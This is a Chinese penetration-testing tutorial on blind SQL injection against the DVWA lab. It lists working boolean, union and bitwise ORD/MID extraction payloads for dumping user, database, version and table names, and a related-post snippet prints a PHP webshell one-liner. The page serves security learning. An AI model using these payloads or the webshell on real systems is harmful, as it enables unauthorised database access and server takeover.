小白日记42:kali渗透测试之Web渗透-SQL盲注
SQL盲注
【SQL注入介绍】
SQL盲注:不显示数据库内建的报错信息【内建的报错信息帮助开发人员发现和修复问题】,但由于报错信息中提供了关于系统的大量有用信息。当程序员隐藏了数据库内建报错信息,替换为通用的错误提示,SQL注入将无法依据报错信息判断注入语句的执行结果,即为盲注。
思路:既然无法基于报错信息判断结果,基于逻辑真假的不同结果来判断
a. 1' and 1=1--+

b. 1' and 1=2--+ 【输入前真后假,无返回,页面没被执行】
###a与b比较,表明存在SQL注入漏洞
常用盲注语句【原理:猜测数据】
1' order by 5-- 【通过修改数值来测试列数,若页面没出现结果,则不存在该漏洞(1不能去掉,因为sql语句,表明必须提交一个正确的值,不一定为1)】

2' union select user(),database()-- 【查询用户名和数据库名】

2' union select 1,2--+

1' union select null,CONCAT_WS(CHAR(32,58,32),user(),database(),version())--+
【查所有的表名,#为注释后面的代码】
1' and 1=0 union select null,table_name from information_schema.tables#
1' and 1=0 union select null,table_name from information_schema.columns where table_name='users' #
当无权读取information_schema库 / 拒绝union、order by语句
#若为真,则显示内容,若为假,则不显示任何内容 【语句中的1不为固定,可灵活变化,甚至为字符,视情况而定】
#使用Burpsuite自动化猜解内容
1、猜列名
1' and user is [not] null--+ 【测试user列是否为空】
2、猜当前表表名
1' and users.user is not null--+ 【列为已知列】
3、猜库里其他表
1' and (select count(*) from table)>0--+
4、列表对应关系
1' and users.user is not null--+
5、猜字段内容
1' and user='admin
1' or user like '%a%
6、猜账号对应密码
' or user='admin' and password='faqfoiauggvuagbymd5' 【若为1,为id=1,若为2,则id为2,(意思为查询第二个账号)】

脑洞案例
当遇到网页不显示任何从数据库中提取的信息,只有页面风格画面的转换
and 1=1--+ 【原页面】
and 1=2--+ 【显示另一个页面】
#则存在SQL注入漏洞
构造语句
1' and ORD(MID((VERSION()),1,1))&1>0--+ 【无返回,则该位的ASCII码为0,正常返回,则ASCII码为1】
如:
#则证明,二进制中,十进制数为32的那一位二进制为1
【MID函数:截取字符串中的某段子字符串,( 语法:MID(ColumnName,Start,Length)起始位置,长度 )】
【ORD函数:#把函数中的字符转换成ASCII码,( 语法:ORD(string)&n ){n是二进制ASCII码的对应位置是0或1,n=1,2,4,8,16,32,64,128} 通过迭代8次查询每一位ASCII码的值,反查出字符】 《灵使用查询VERSION(),DATABASE(),CURRENT_USER()当前用户等函数》
代码审计
低级别【并未对变量进行消毒】

中安全级别

高安全级别

小白日记42:kali渗透测试之Web渗透-SQL盲注的更多相关文章
- 小白日记28:kali渗透测试之Web渗透-扫描工具-Nikto
扫描工具-Nikto #WEB渗透 靶机:metasploitable 靶场:DVWA[默认账号/密码:admin/password] #新手先将DVWA的安全性,调到最低,可容易发现漏洞 侦察[减少 ...
- 小白日记30:kali渗透测试之Web渗透-扫描工具-Skipfish
WEB渗透-skipfish Skipfish是一个命令行模式,以C语言编写的积极的Web应用程序的安全性侦察工具,没有代理模式. 它准备了一个互动为目标的网站的站点地图进行一个递归爬网和基于字典的探 ...
- 小白日记45:kali渗透测试之Web渗透-SqlMap自动注入(三)-sqlmap参数详解-Optimization,Injection,Detection,Techniques,Fingerprint
sqlmap自动注入 Optimization [优化性能参数,可提高效率] -o:指定前三个参数(--predict-output.--keep-alive.--null-connection) - ...
- 小白日记44:kali渗透测试之Web渗透-SqlMap自动注入(二)-sqlmap参数详解REQUEST
Sqlmap自动注入(二) Request ################################################### #inurl:.php?id= 1. 数据段:--d ...
- 小白日记43:kali渗透测试之Web渗透-SqlMap自动注入(一)-sqlmap参数详解TARGET
SqlMap自动注入(一) sqlmap是一款非常强大的开源sql自动化注入工具,可以用来检测和利用sql注入漏洞[动态页面中get/post参数.cookie.HTTP头].它由Python语言开发 ...
- 小白日记51:kali渗透测试之Web渗透-WebShell(中国菜刀、WeBaCoo、Weevely)
webshell 本质:<?php echo shell_exec($_GET['cmd']);?> windows平台 中国菜刀官网:胖客户端程序,国产中比较优秀的webshell,适用 ...
- 小白日记54:kali渗透测试之Web渗透-补充概念(AJAX,WEB Service)
补充概念 AJAX(异步javascript和XML) Asynchronous javascript and xml 是一个概念,而非一种新的编程语言,是一组现有技术的组合 通过客户端脚本动态更新页 ...
- 小白日记52:kali渗透测试之Web渗透-HTTPS攻击(Openssl、sslscan、sslyze、检查SSL的网站)
HTTPS攻击 全站HTTPS正策划稿那位潮流趋势 如:百度.阿里 HTTPS的作用 CIA 解决的是信息传输过程中数据被篡改.窃取 [从中注入恶意代码,多为链路劫持] 加密:对称.非对称.单向 HT ...
- 小白日记50:kali渗透测试之Web渗透-CSRF
CSRF CSRF原理:经常与XSS混淆. 从信任的角度进行区分:XSS:利用用户对站点的信任:CSRF:利用站点对已经身份认证的信任(有一定的信任)[默认情况:站点不信任客户端] 结合社工在身份认证 ...
随机推荐
- XNA Game Studio4.0 Programming 随便读,随便记。
一.精灵和2D图形 1.什么是2D ? 2D可以理解为 two-Dimentionanl , 2-dimentional 的缩写. 意就是两维的,比如 数学中的 直角坐标系 所能描述的就是一个2D的 ...
- redis在mac上的安装
mac 上安装 redis 首先必须保证mac 已经安装 xcode. 因为make时要用到 Xcode 的command Tools . (1)下载 redis http://redis.goo ...
- DedeCMS Error:Tag disabled:"php"的解决办法
- C++ Name Mangling 为什么不编码返回值参数
这篇文章主要是推荐下 http://www.cnblogs.com/skynet/archive/2010/09/05/1818636.html 这篇文章从编译器的角度看问题,比较深入. 回到题目,为 ...
- Cognos报表打开参数
查看门户页面 http://localhost:9300/p2pd/servlet/dispatch? b_action=xts.run &m=portal/cc.xts &gohom ...
- C#简单应用spring的例子
接口定义 namespace SpringDemo { interface IOper { void Say(); } } 此接口的两个实现 实现1 using System; namespace S ...
- labview 中activex的初步使用方法
1.在前面板放置一个activex容器 2.插入activex控件 3.百度找到这个activex控件的属性和方法介绍 4.程序框图中右键activex控件,创建xxx类的方法或者xxx的属性:act ...
- Ehcache(01)——简介、基本操作
http://haohaoxuexi.iteye.com/blog/2112170 目录 1 CacheManager 1.1 构造方法构建 1.2 静态方法构建 2 ...
- jsp界面动态时间显示
<%@ page language="java" import="java.util.*" pageEncoding="UTF-8"% ...
- [JS 基础] touchEvent中的changedTouches,targetTouches和touches的区别
对于移动端开发中 touchEvent(触摸事件) 中changedTouches,targetTouches和touches的区别往往不容易弄清,故特意查询了 MDN相关资料 1. 其中,对 cha ...